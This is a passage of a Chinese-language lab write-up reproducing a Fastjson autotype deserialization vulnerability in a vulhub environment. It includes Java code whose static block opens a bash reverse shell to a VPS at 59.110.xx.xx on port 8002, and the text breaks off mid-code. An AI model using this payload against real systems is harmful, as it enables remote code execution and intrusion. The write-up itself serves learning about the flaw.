Fastjson 反序列化漏洞复现
前言
因为之前并没有遇到过fastjson相关的漏洞,刚好这次有机会碰到了就顺便学习一下并记录自己踩过的坑。
漏洞描述
fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。
漏洞复现
这里漏洞环境主要是用vulhub上的两个fastjson漏洞搭建,搭建完成以后访问8090端口会出现如下所示
漏洞利用需要我们在vps上启一个RMI服务并调用class文件,这些我们都可以在一台服务器上完成。
首先我们先创建命令执行代码,执行命令反弹shell,创建test.java,使用命令javac test.java
编译生成test.class(整个实验环境都是基于java8的基础上)
import java.lang.Runtime;
import java.lang.Process;
public class test {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {
"bash", "-c", "bash -i >& /dev/tcp/59.110.xx.xx/8002 0>&1"};
Process pc = rt